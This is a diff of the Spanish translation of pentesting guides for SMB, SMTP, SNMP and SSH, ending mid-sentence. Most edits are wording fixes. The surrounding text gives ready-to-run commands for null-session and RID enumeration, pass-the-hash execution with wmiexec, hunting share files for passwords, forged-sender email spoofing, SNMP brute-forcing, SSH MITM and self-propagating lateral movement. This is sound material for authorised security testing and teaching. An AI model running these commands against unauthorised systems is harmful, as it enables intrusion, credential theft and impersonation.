especificado por `target_ip`. -## Qué es NTLM +## ¿Qué es NTLM? Si no sabes qué es NTLM o quieres saber cómo funciona y cómo abusar de él, encontrarás muy interesante esta página sobre **NTLM** donde se explica **cómo funciona este protocolo y cómo puedes aprovecharte de él:** @@ -48,7 +48,7 @@ Si no sabes qué es NTLM o quieres saber cómo funciona y cómo abusar de él, e ## **Enumeración de Servidores** -### **Escanear** una red buscando hosts: +### **Escanear** una red en busca de hosts: ```bash nbtscan -r 192.168.0.1/24 ``` @@ -139,7 +139,7 @@ enumdomgroups ```bash lookupsid.py -no-pass hostname.local ``` -Línea única +Un solo comando ```bash for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done ``` @@ -151,6 +151,7 @@ run ``` ### **Enumerando LSARPC y SAMR rpcclient** + {{#ref}} rpcclient-enumeration.md {{#endref}} @@ -169,7 +170,7 @@ rpcclient-enumeration.md ### Listar carpetas compartidas -Siempre se recomienda verificar si puedes acceder a algo; si no tienes credenciales, intenta usar **null** **credentials/guest user**. +Siempre se recomienda verificar si puedes acceder a algo, si no tienes credenciales, intenta usar **null** **credentials/guest user**. ```bash smbclient --no-pass -L // # Null user smbclient -U 'username[%passwd]' -L [--pw-nt-hash] // #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash @@ -239,7 +240,7 @@ ejemplos smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session ``` -### **Enumerar recursos compartidos desde Windows / sin herramientas de terceros** +### **Enumerar recursos compartidos de Windows / sin herramientas de terceros** PowerShell ```bash @@ -265,7 +266,7 @@ fsmgmt.msc # Computer Management: Computer Management > System Tools > Shared Folders > Shares compmgmt.msc ``` -explorer.exe (gráfico), ingrese `\\\` para ver los recursos compartidos disponibles que no están ocultos. +explorer.exe (gráfico), ingrese `\\\` para ver los recursos compartidos disponibles no ocultos. ### Montar una carpeta compartida ```bash @@ -293,7 +294,7 @@ Comandos: - mask: especifica la máscara que se utiliza para filtrar los archivos dentro del directorio (por ejemplo, "" para todos los archivos) - recurse: activa la recursión (predeterminado: apagado) -- prompt: desactiva la solicitud de nombres de archivos (predeterminado: activado) +- prompt: desactiva la solicitud de nombres de archivos (predeterminado: encendido) - mget: copia todos los archivos que coinciden con la máscara del host a la máquina cliente (_Información de la página del manual de smbclient_) @@ -312,7 +313,7 @@ sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'De ``` Especialmente interesantes de los recursos compartidos son los archivos llamados **`Registry.xml`** ya que **pueden contener contraseñas** para usuarios configurados con **autologon** a través de Group Policy. O los archivos **`web.config`** ya que contienen credenciales. -> [!NOTE] +> [!TIP] > El **recurso compartido SYSVOL** es **legible** por todos los usuarios autenticados en el dominio. Allí puedes **encontrar** muchos scripts diferentes de batch, VBScript y PowerShell.\ > Debes **revisar** los **scripts** dentro de él ya que podrías **encontrar** información sensible como **contraseñas**. @@ -328,16 +329,16 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87 La **configuración predeterminada de** un **servidor Samba** generalmente se encuentra en `/etc/samba/smb.conf` y puede tener algunas **configuraciones peligrosas**: -| **Configuración** | **Descripción** | -| --------------------------- | ------------------------------------------------------------------ | -| `browseable = yes` | ¿Permitir listar los recursos disponibles en el recurso actual? | -| `read only = no` | ¿Prohibir la creación y modificación de archivos? | -| `writable = yes` | ¿Permitir a los usuarios crear y modificar archivos? | -| `guest ok = yes` | ¿Permitir conectarse al servicio sin usar una contraseña? | -| `enable privileges = yes` | ¿Respetar los privilegios asignados a un SID específico? | +| **Configuración** | **Descripción** | +| --------------------------- | ------------------------------------------------------------------- | +| `browseable = yes` | ¿Permitir listar los recursos disponibles en el recurso actual? | +| `read only = no` | ¿Prohibir la creación y modificación de archivos? | +| `writable = yes` | ¿Permitir a los usuarios crear y modificar archivos? | +| `guest ok = yes` | ¿Permitir conectarse al servicio sin usar una contraseña? | +| `enable privileges = yes` | ¿Honrar los privilegios asignados a un SID específico? | | `create mask = 0777` | ¿Qué permisos deben asignarse a los archivos recién creados? | | `directory mask = 0777` | ¿Qué permisos deben asignarse a los directorios recién creados? | -| `logon script = script.sh` | ¿Qué script debe ejecutarse en el inicio de sesión del usuario? | +| `logon script = script.sh` | ¿Qué script necesita ejecutarse en el inicio de sesión del usuario?| | `magic script = script.sh` | ¿Qué script debe ejecutarse cuando se cierra el script? | | `magic output = script.out` | ¿Dónde debe almacenarse la salida del script mágico? | @@ -400,7 +401,7 @@ En **kali** se encuentra en /usr/share/doc/python3-impacket/examples/ ./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash #You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted ``` -Usando **parameter**`-k` puedes autenticarte contra **kerberos** en lugar de **NTLM** +Usando **parameter**`-k` puedes autenticarte contra **kerberos** en lugar de **NTLM**. ```bash #If no password is provided, it will be prompted ./dcomexec.py [[domain/]username[:password]@] @@ -428,7 +429,7 @@ ridenum.py 500 50000 /root/passwds.txt #Get usernames bruteforcing that rid ``` ## Ataque de retransmisión SMB -Este ataque utiliza el kit de herramientas Responder para **capturar sesiones de autenticación SMB** en una red interna y **retransmitirlas** a una **máquina objetivo**. Si la **sesión de autenticación es exitosa**, te llevará automáticamente a un **shell** **del sistema**.\ +Este ataque utiliza la herramienta Responder para **capturar sesiones de autenticación SMB** en una red interna y **retransmitirlas** a una **máquina objetivo**. Si la **sesión de autenticación es exitosa**, te llevará automáticamente a un **shell** **del sistema**.\ [**Más información sobre este ataque aquí.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) ## SMB-Trap diff --git a/src/network-services-pentesting/pentesting-smtp/README.md b/src/network-services-pentesting/pentesting-smtp/README.md index 73d166c5d..6f74428ac 100644 --- a/src/network-services-pentesting/pentesting-smtp/README.md +++ b/src/network-services-pentesting/pentesting-smtp/README.md @@ -15,7 +15,7 @@ PORT STATE SERVICE REASON VERSION ``` ### EMAIL Headers -Si tienes la oportunidad de **hacer que la víctima te envíe un correo electrónico** (a través del formulario de contacto de la página web, por ejemplo), hazlo porque **podrías aprender sobre la topología interna** de la víctima al ver los encabezados del correo. +Si tienes la oportunidad de **hacer que la víctima te envíe un correo electrónico** (por ejemplo, a través del formulario de contacto de la página web), hazlo porque **podrías aprender sobre la topología interna** de la víctima al ver los encabezados del correo. También puedes obtener un correo electrónico de un servidor SMTP intentando **enviar a ese servidor un correo a una dirección no existente** (porque el servidor enviará al atacante un correo NDN). Pero, asegúrate de que envías el correo desde una dirección permitida (verifica la política SPF) y que puedes recibir mensajes NDN. @@ -58,7 +58,7 @@ NTLM supported >> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA= 334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA ``` -O **automate** esto con el **nmap** plugin `smtp-ntlm-info.nse` +O **automatiza** esto con el **plugin** de **nmap** `smtp-ntlm-info.nse` ### Nombre del servidor interno - Divulgación de información @@ -227,7 +227,7 @@ smtp-smuggling.md ## Contramedidas contra el Spoofing de Correo -Las organizaciones se ven impedidas de tener correos electrónicos no autorizados enviados en su nombre al emplear **SPF**, **DKIM** y **DMARC** debido a la facilidad de suplantar mensajes SMTP. +Las organizaciones se ven protegidas de que se envíen correos electrónicos no autorizados en su nombre al emplear **SPF**, **DKIM** y **DMARC** debido a la facilidad de suplantar mensajes SMTP. Una **guía completa sobre estas contramedidas** está disponible en [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/). @@ -249,7 +249,7 @@ De [Wikipedia](https://en.wikipedia.org/wiki/Sender_Policy_Framework): | A | Si el nombre de dominio tiene un registro de dirección (A o AAAA) que puede resolverse a la dirección del remitente, coincidirá. | | IP4 | Si el remitente está en un rango de direcciones IPv4 dado, coincide. | | IP6 | Si el remitente está en un rango de direcciones IPv6 dado, coincide. | -| MX | Si el nombre de dominio tiene un registro MX que resuelve a la dirección del remitente, coincidirá (es decir, el correo proviene de uno de los servidores de correo entrante del dominio). | +| MX | Si el nombre de dominio tiene un registro MX que resuelve a la dirección del remitente, coincidirá (es decir, el correo proviene de uno de los servidores de correo entrantes del dominio). | | PTR | Si el nombre de dominio (registro PTR) para la dirección del cliente está en el dominio dado y ese nombre de dominio se resuelve a la dirección del cliente (DNS inverso confirmado), coincide. Este mecanismo se desaconseja y debe evitarse, si es posible. | | EXISTS | Si el nombre de dominio dado se resuelve a cualquier dirección, coincide (sin importar la dirección a la que se resuelva). Esto se usa raramente. Junto con el lenguaje de macros SPF, ofrece coincidencias más complejas como consultas DNSBL. | | INCLUDE | Hace referencia a la política de otro dominio. Si la política de ese dominio pasa, este mecanismo pasa. Sin embargo, si la política incluida falla, el procesamiento continúa. Para delegar completamente a la política de otro dominio, se debe usar la extensión de redirección. | @@ -302,7 +302,7 @@ dig 20120113._domainkey.gmail.com TXT | grep p= # This command would return something like: 20120113._domainkey.gmail.com. 280 IN TXT "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3 ``` -### DMARC (Autenticación, Informes y Conformidad Basada en Dominio) +### DMARC (Autenticación de Mensajes Basada en Dominio, Informes y Conformidad) DMARC mejora la seguridad del correo electrónico al basarse en los protocolos SPF y DKIM. Establece políticas que guían a los servidores de correo en el manejo de correos electrónicos de un dominio específico, incluyendo cómo tratar con fallos de autenticación y dónde enviar informes sobre las acciones de procesamiento de correos electrónicos. @@ -320,18 +320,18 @@ _dmarc.google.com. 300 IN TXT "v=DMARC1; p=quarantine; rua=mailto:mailauth-repor dig _dmarc.bing.com txt | grep DMARC _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;" ``` -#### DMARC tags +#### Etiquetas DMARC -| Tag Name | Propósito | Ejemplo | -| -------- | --------------------------------------------- | ------------------------------- | -| v | Versión del protocolo | v=DMARC1 | -| pct | Porcentaje de mensajes sujetos a filtrado | pct=20 | -| ruf | URI de informes para reportes forenses | ruf=mailto:authfail@example.com | -| rua | URI de informes de reportes agregados | rua=mailto:aggrep@example.com | -| p | Política para el dominio organizacional | p=quarantine | -| sp | Política para subdominios del OD | sp=reject | -| adkim | Modo de alineación para DKIM | adkim=s | -| aspf | Modo de alineación para SPF | aspf=r | +| Nombre de la etiqueta | Propósito | Ejemplo | +| --------------------- | ---------------------------------------------- | -------------------------------- | +| v | Versión del protocolo | v=DMARC1 | +| pct | Porcentaje de mensajes sujetos a filtrado | pct=20 | +| ruf | URI de informes para informes forenses | ruf=mailto:authfail@example.com | +| rua | URI de informes de informes agregados | rua=mailto:aggrep@example.com | +| p | Política para el dominio organizacional | p=quarantine | +| sp | Política para subdominios del OD | sp=reject | +| adkim | Modo de alineación para DKIM | adkim=s | +| aspf | Modo de alineación para SPF | aspf=r | ### **¿Qué pasa con los Subdominios?** @@ -349,15 +349,15 @@ Lo siguiente fue publicado originalmente en openspf.org, que solía ser un gran Esto tiene sentido: un subdominio puede estar en una ubicación geográfica diferente y tener una definición SPF muy diferente. -### **Open Relay** +### **Relay Abierto** -Cuando se envían correos electrónicos, asegurar que no sean marcados como spam es crucial. Esto se logra a menudo mediante el uso de un **servidor de retransmisión que es confiable para el destinatario**. Sin embargo, un desafío común es que los administradores pueden no estar completamente conscientes de qué **rangos de IP son seguros para permitir**. Esta falta de comprensión puede llevar a errores en la configuración del servidor SMTP, un riesgo que se identifica con frecuencia en las evaluaciones de seguridad. +Cuando se envían correos electrónicos, asegurar que no sean marcados como spam es crucial. Esto se logra a menudo mediante el uso de un **servidor de relay que es de confianza para el destinatario**. Sin embargo, un desafío común es que los administradores pueden no estar completamente conscientes de qué **rangos de IP son seguros para permitir**. Esta falta de comprensión puede llevar a errores en la configuración del servidor SMTP, un riesgo que se identifica con frecuencia en las evaluaciones de seguridad. Una solución alternativa que algunos administradores utilizan para evitar problemas de entrega de correo, especialmente en lo que respecta a las comunicaciones con clientes potenciales o en curso, es **permitir conexiones desde cualquier dirección IP**. Esto se hace configurando el parámetro `mynetworks` del servidor SMTP para aceptar todas las direcciones IP, como se muestra a continuación: ```bash mynetworks = 0.0.0.0/0 ``` -Para verificar si un servidor de correo es un relay abierto (lo que significa que podría reenviar correos electrónicos de cualquier fuente externa), se utiliza comúnmente la herramienta `nmap`. Incluye un script específico diseñado para probar esto. El comando para realizar un escaneo detallado en un servidor (por ejemplo, con IP 10.10.10.10) en el puerto 25 usando `nmap` es: +Para verificar si un servidor de correo es un open relay (lo que significa que podría reenviar correos electrónicos de cualquier fuente externa), se utiliza comúnmente la herramienta `nmap`. Incluye un script específico diseñado para probar esto. El comando para realizar un escaneo detallado en un servidor (por ejemplo, con IP 10.10.10.10) en el puerto 25 usando `nmap` es: ```bash nmap -p25 --script smtp-open-relay 10.10.10.10 -v ``` @@ -382,7 +382,7 @@ python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com ``` > [!WARNING] -> Si obtienes algún **error al usar la biblioteca dkim de python** al analizar la clave, siéntete libre de usar la siguiente.\ +> Si obtienes algún **error al usar la biblioteca python dkim** al analizar la clave, siéntete libre de usar la siguiente.\ > **NOTA**: Esta es solo una solución rápida para hacer verificaciones rápidas en casos donde por alguna razón la clave privada de openssl **no puede ser analizada por dkim**. > > ``` @@ -409,7 +409,7 @@ python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TE {{#tab name="PHP"}}
# Esto enviará un mensaje sin firmar
-mail("your_email@gmail.com", "Asunto de Prueba!", "¡hey! Este es una prueba", "From: administrator@victim.com");
+mail("your_email@gmail.com", "¡Asunto de prueba!", "¡hey! Este es un test", "From: administrator@victim.com");
 
{{#endtab}} @@ -496,7 +496,7 @@ s.sendmail(sender, [destination], msg_data) ### Postfix -Usualmente, si está instalado, en `/etc/postfix/master.cf` contiene **scripts para ejecutar** cuando, por ejemplo, se recibe un nuevo correo por un usuario. Por ejemplo, la línea `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` significa que `/etc/postfix/filtering` se ejecutará si se recibe un nuevo correo por el usuario mark. +Por lo general, si está instalado, en `/etc/postfix/master.cf` contiene **scripts para ejecutar** cuando, por ejemplo, se recibe un nuevo correo por un usuario. Por ejemplo, la línea `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` significa que `/etc/postfix/filtering` se ejecutará si se recibe un nuevo correo por el usuario mark. Otros archivos de configuración: ``` diff --git a/src/network-services-pentesting/pentesting-snmp/README.md b/src/network-services-pentesting/pentesting-snmp/README.md index a99b55337..4fdb987d0 100644 --- a/src/network-services-pentesting/pentesting-snmp/README.md +++ b/src/network-services-pentesting/pentesting-snmp/README.md @@ -10,17 +10,17 @@ PORT STATE SERVICE REASON VERSION 161/udp open snmp udp-response ttl 244 ciscoSystems SNMPv3 server (public) ``` -> [!NOTE] +> [!TIP] > SNMP también utiliza el puerto **162/UDP** para **traps**. Estos son datos **paquetes enviados desde el servidor SNMP al cliente sin ser solicitados explícitamente**. ### MIB -Para asegurar que el acceso SNMP funcione entre fabricantes y con diferentes combinaciones de cliente-servidor, se creó la **Base de Información de Gestión (MIB)**. MIB es un **formato independiente para almacenar información del dispositivo**. Un MIB es un **archivo de texto** en el que se enumeran todos los **objetos SNMP** consultables de un dispositivo en una jerarquía de árbol **estandarizada**. Contiene al **menos un `Object Identifier` (`OID`)**, que, además de la **dirección única** necesaria y un **nombre**, también proporciona información sobre el tipo, derechos de acceso y una descripción del respectivo objeto.\ -Los archivos MIB están escritos en el formato de texto ASCII basado en `Abstract Syntax Notation One` (`ASN.1`). Los **MIB no contienen datos**, pero explican **dónde encontrar qué información** y cómo se ve, qué valores devuelve para el OID específico, o qué tipo de datos se utiliza. +Para asegurar que el acceso SNMP funcione entre fabricantes y con diferentes combinaciones de cliente-servidor, se creó la **Base de Información de Gestión (MIB)**. MIB es un **formato independiente para almacenar información del dispositivo**. Un MIB es un **archivo de texto** en el que se enumeran todos los **objetos SNMP** consultables de un dispositivo en una jerarquía de árbol **estandarizada**. Contiene al **menos un `Identificador de Objeto` (`OID`)**, que, además de la **dirección única** necesaria y un **nombre**, también proporciona información sobre el tipo, derechos de acceso y una descripción del respectivo objeto.\ +Los archivos MIB están escritos en el formato de texto ASCII basado en `Notación de Sintaxis Abstracta Uno` (`ASN.1`). Los **MIB no contienen datos**, pero explican **dónde encontrar qué información** y cómo se ve, qué valores devuelve para el OID específico, o qué tipo de datos se utiliza. ### OIDs -**Object Identifiers (OIDs)** juegan un papel crucial. Estos identificadores únicos están diseñados para gestionar objetos dentro de una **Base de Información de Gestión (MIB)**. +**Identificadores de Objetos (OIDs)** juegan un papel crucial. Estos identificadores únicos están diseñados para gestionar objetos dentro de una **Base de Información de Gestión (MIB)**. Los niveles más altos de los IDs de objetos MIB, o OIDs, están asignados a diversas organizaciones de establecimiento de estándares. Es dentro de estos niveles superiores donde se establece el marco para las prácticas y estándares de gestión global. @@ -29,7 +29,7 @@ Además, se otorga a los proveedores la libertad de establecer ramas privadas. D ![](<../../images/SNMP_OID_MIB_Tree (1).png>) Puedes **navegar** a través de un **árbol OID** desde la web aquí: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) o **ver qué significa un OID** (como `1.3.6.1.2.1.1`) accediendo a [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\ -Hay algunos **OIDs bien conocidos** como los que están dentro de [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) que hacen referencia a las variables del Protocolo Simple de Gestión de Red (SNMP) definidas en MIB-2. Y desde los **OIDs pendientes de este** puedes obtener algunos datos interesantes del host (datos del sistema, datos de red, datos de procesos...) +Hay algunos **OIDs bien conocidos** como los que están dentro de [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) que hacen referencia a las variables del Protocolo de Gestión de Red Simple (SNMP) definidas en MIB-2. Y desde los **OIDs pendientes de este** puedes obtener algunos datos interesantes del host (datos del sistema, datos de red, datos de procesos...) ### **Ejemplo de OID** @@ -42,7 +42,7 @@ Aquí hay un desglose de esta dirección. - 1 – esto se llama el ISO y establece que este es un OID. Por eso todos los OIDs comienzan con “1” - 3 – esto se llama ORG y se utiliza para especificar la organización que construyó el dispositivo. - 6 – este es el dod o el Departamento de Defensa, que es la organización que estableció primero Internet. -- 1 – este es el valor de Internet para denotar que todas las comunicaciones ocurrirán a través de Internet. +- 1 – este es el valor de internet para denotar que todas las comunicaciones ocurrirán a través de Internet. - 4 – este valor determina que este dispositivo es fabricado por una organización privada y no por una gubernamental. - 1 – este valor denota que el dispositivo es fabricado por una empresa o entidad comercial. @@ -79,10 +79,10 @@ Hay **2 tipos de cadenas de comunidad**: - **`public`** principalmente funciones **solo de lectura** - **`private`** **Lectura/Escritura** en general -Ten en cuenta que **la capacidad de escritura de un OID depende de la cadena de comunidad utilizada**, así que **incluso** si encuentras que se está utilizando "**public**", podrías ser capaz de **escribir algunos valores.** Además, puede **existir** objetos que son **siempre "Solo Lectura".**\ -Si intentas **escribir** un objeto se recibe un error **`noSuchName` o `readOnly`**. +Ten en cuenta que **la capacidad de escritura de un OID depende de la cadena de comunidad utilizada**, así que **incluso** si encuentras que se está utilizando "**public**", podrías ser capaz de **escribir algunos valores.** También, puede **existir** objetos que son **siempre "Solo Lectura".**\ +Si intentas **escribir** un objeto se recibe un error de **`noSuchName` o `readOnly`**. -En las versiones 1 y 2/2c, si usas una cadena de comunidad **incorrecta**, el servidor no **responderá**. Así que, si responde, se **utilizó una cadena de comunidad válida**. +En las versiones 1 y 2/2c, si usas una **mala** cadena de comunidad, el servidor no **responderá**. Así que, si responde, se **utilizó una cadena de comunidad válida**. ## Puertos @@ -121,13 +121,13 @@ nmap --script "snmp* and not snmp-brute" braa @:.1.3.6.* #Bruteforce specific OID ``` -Gracias a las consultas extendidas (download-mibs), es posible enumerar aún más sobre el sistema con el siguiente comando : +Gracias a las consultas extendidas (download-mibs), es posible enumerar aún más sobre el sistema con el siguiente comando: ```bash snmpwalk -v X -c public NET-SNMP-EXTEND-MIB::nsExtendOutputFull ``` **SNMP** tiene mucha información sobre el host y cosas que pueden ser interesantes son: **Interfaces de red** (dirección **IPv4** y **IPv6**), Nombres de usuario, Tiempo de actividad, Versión del servidor/SO y **procesos** -**en ejecución** (puede contener contraseñas).... +**en ejecución** (pueden contener contraseñas).... ### **Configuraciones Peligrosas** @@ -174,7 +174,7 @@ snmp-rce.md ## **SNMP Masivo** -[Braa](https://github.com/mteg/braa) es un escáner SNMP masivo. El uso previsto de tal herramienta es, por supuesto, realizar consultas SNMP, pero a diferencia de snmpwalk de net-snmp, es capaz de consultar decenas o cientos de hosts simultáneamente, y en un solo proceso. Así, consume muy pocos recursos del sistema y realiza el escaneo MUY rápido. +[Braa](https://github.com/mteg/braa) es un escáner SNMP masivo. El uso previsto de tal herramienta es, por supuesto, realizar consultas SNMP – pero a diferencia de snmpwalk de net-snmp, es capaz de consultar decenas o cientos de hosts simultáneamente, y en un solo proceso. Así, consume muy pocos recursos del sistema y realiza el escaneo MUY rápido. Braa implementa su PROPIO stack SNMP, por lo que NO necesita ninguna biblioteca SNMP como net-snmp. @@ -216,7 +216,7 @@ Puedes usar _**NetScanTools**_ para **modificar valores**. Necesitarás conocer ## Suplantación -Si hay una ACL que solo permite que algunas IPs consulten el servicio SMNP, puedes suplantar una de estas direcciones dentro del paquete UDP y espiar el tráfico. +Si hay una ACL que solo permite que algunas IPs consulten el servicio SNMP, puedes suplantar una de estas direcciones dentro del paquete UDP y espiar el tráfico. ## Examinar archivos de configuración SNMP @@ -224,7 +224,7 @@ Si hay una ACL que solo permite que algunas IPs consulten el servicio SMNP, pued - snmpd.conf - snmp-config.xml -## Comandos automáticos de HackTricks +## Comandos Automáticos de HackTricks ``` Protocol_Name: SNMP #Protocol Abbreviation if there is one. Port_Number: 161 #Comma separated if there is more than one. diff --git a/src/network-services-pentesting/pentesting-ssh.md b/src/network-services-pentesting/pentesting-ssh.md index f2190bd36..fe02f6a1a 100644 --- a/src/network-services-pentesting/pentesting-ssh.md +++ b/src/network-services-pentesting/pentesting-ssh.md @@ -12,21 +12,21 @@ ``` **Servidores SSH:** -- [openSSH](http://www.openssh.org) – OpenBSD SSH, incluido en distribuciones BSD, Linux y Windows desde Windows 10 -- [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) – implementación de SSH para entornos con pocos recursos de memoria y procesador, incluido en OpenWrt +- [openSSH](http://www.openssh.org) – OpenBSD SSH, incluido en distribuciones de BSD, Linux y Windows desde Windows 10 +- [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) – implementación de SSH para entornos con recursos limitados de memoria y procesador, incluido en OpenWrt - [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) – implementación de SSH para Windows, el cliente es comúnmente utilizado pero el uso del servidor es más raro - [CopSSH](https://www.itefix.net/copssh) – implementación de OpenSSH para Windows **Bibliotecas SSH (implementando del lado del servidor):** -- [libssh](https://www.libssh.org) – biblioteca C multiplataforma que implementa el protocolo SSHv2 con enlaces en [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) y [R](https://github.com/ropensci/ssh); es utilizada por KDE para sftp y por GitHub para la infraestructura git SSH +- [libssh](https://www.libssh.org) – biblioteca C multiplataforma que implementa el protocolo SSHv2 con enlaces en [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) y [R](https://github.com/ropensci/ssh); es utilizada por KDE para sftp y por GitHub para la infraestructura SSH de git - [wolfSSH](https://www.wolfssl.com/products/wolfssh/) – biblioteca de servidor SSHv2 escrita en ANSI C y dirigida a entornos embebidos, RTOS y con recursos limitados - [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) – biblioteca java Apache SSHD basada en Apache MINA - [paramiko](https://github.com/paramiko/paramiko) – biblioteca de protocolo SSHv2 en Python ## Enumeración -### Captura de Banners +### Captura de Banner ```bash nc -vn 22 ``` @@ -40,7 +40,7 @@ ssh-audit es una herramienta para la auditoría de la configuración del servido - Soporte para servidores de protocolo SSH1 y SSH2; - analizar la configuración del cliente SSH; -- capturar banner, reconocer dispositivo o software y sistema operativo, detectar compresión; +- obtener banner, reconocer dispositivo o software y sistema operativo, detectar compresión; - recopilar algoritmos de intercambio de claves, clave de host, cifrado y código de autenticación de mensajes; - salida de información sobre algoritmos (disponible desde, eliminado/deshabilitado, inseguro/débil/legado, etc); - salida de recomendaciones de algoritmos (agregar o eliminar según la versión de software reconocida); @@ -115,7 +115,8 @@ msf> use scanner/ssh/ssh_identify_pubkeys ``` O use `ssh-keybrute.py` (python3 nativo, ligero y con algoritmos heredados habilitados): [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). -#### Las claves malas conocidas se pueden encontrar aquí: +#### Las badkeys conocidas se pueden encontrar aquí: + {{#ref}} https://github.com/rapid7/ssh-badkeys/tree/master/authorized @@ -123,13 +124,13 @@ https://github.com/rapid7/ssh-badkeys/tree/master/authorized #### Claves SSH débiles / PRNG predecible de Debian -Algunos sistemas tienen fallas conocidas en la semilla aleatoria utilizada para generar material criptográfico. Esto puede resultar en un espacio de claves drásticamente reducido que puede ser forzado. Conjuntos de claves pre-generadas generadas en sistemas Debian afectados por PRNG débiles están disponibles aquí: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh). +Algunos sistemas tienen fallos conocidos en la semilla aleatoria utilizada para generar material criptográfico. Esto puede resultar en un espacio de claves drásticamente reducido que puede ser forzado. Conjuntos de claves pre-generadas generadas en sistemas Debian afectados por PRNG débiles están disponibles aquí: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh). Deberías buscar aquí para encontrar claves válidas para la máquina víctima. ### Kerberos -**crackmapexec** usando el protocolo `ssh` puede usar la opción `--kerberos` para **autenticarse a través de kerberos**.\ +**crackmapexec** utilizando el protocolo `ssh` puede usar la opción `--kerberos` para **autenticarse a través de kerberos**.\ Para más información, ejecuta `crackmapexec ssh --help`. ## Credenciales por defecto @@ -159,7 +160,7 @@ Si estás en la red local como la víctima que va a conectarse al servidor SSH u - **Redirección de tráfico:** El atacante **desvía** el tráfico de la víctima a su máquina, interceptando efectivamente el intento de conexión al servidor SSH. - **Intercepción y registro:** La máquina del atacante actúa como un **proxy**, **capturando** los detalles de inicio de sesión del usuario al hacerse pasar por el servidor SSH legítimo. -- **Ejecución de comandos y reenvío:** Finalmente, el servidor del atacante **registra las credenciales del usuario**, **reenviando los comandos** al verdadero servidor SSH, **ejecutándolos** y **enviando los resultados de vuelta** al usuario, haciendo que el proceso parezca fluido y legítimo. +- **Ejecución de comandos y reenvío:** Finalmente, el servidor del atacante **registra las credenciales del usuario**, **reenvía los comandos** al verdadero servidor SSH, **los ejecuta** y **envía los resultados de vuelta** al usuario, haciendo que el proceso parezca fluido y legítimo. [**SSH MITM**](https://github.com/jtesta/ssh-mitm) hace exactamente lo que se describe arriba. @@ -167,16 +168,16 @@ Para capturar y realizar el MitM real, podrías usar técnicas como el spoofing ## SSH-Snake -Si deseas recorrer una red utilizando claves privadas SSH descubiertas en sistemas, utilizando cada clave privada en cada sistema para nuevos hosts, entonces [**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake) es lo que necesitas. +Si deseas atravesar una red utilizando claves privadas SSH descubiertas en sistemas, utilizando cada clave privada en cada sistema para nuevos hosts, entonces [**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake) es lo que necesitas. SSH-Snake realiza las siguientes tareas automáticamente y de forma recursiva: 1. En el sistema actual, encuentra cualquier clave privada SSH, -2. En el sistema actual, encuentra cualquier host o destino (user@host) que las claves privadas puedan aceptar, +2. En el sistema actual, encuentra cualquier host o destino (user@host) que las claves privadas puedan ser aceptadas, 3. Intenta SSH en todos los destinos utilizando todas las claves privadas descubiertas, -4. Si se conecta con éxito a un destino, repite los pasos #1 - #4 en el sistema al que se conectó. +4. Si se conecta con éxito a un destino, repite los pasos #1 - #4 en el sistema conectado. -Es completamente autorreplicante y autopropagante, y completamente sin archivos. +Es completamente auto-replicante y auto-propagante -- y completamente sin archivos. ## Configuraciones incorrectas @@ -197,7 +198,7 @@ Es común que los servidores SSH permitan el inicio de sesión del usuario root ### Ejecución de comandos SFTP -Hay un descuido común que ocurre con las configuraciones de SFTP, donde los administradores pretenden que los usuarios intercambien archivos sin habilitar el acceso a la shell remota. A pesar de configurar a los usuarios con shells no interactivas (por ejemplo, `/usr/bin/nologin`) y confinarlos a un directorio específico, permanece una brecha de seguridad. **Los usuarios pueden eludir estas restricciones** solicitando la ejecución de un comando (como `/bin/bash`) inmediatamente después de iniciar sesión, antes de que su shell no interactivo designado tome el control. Esto permite la ejecución no 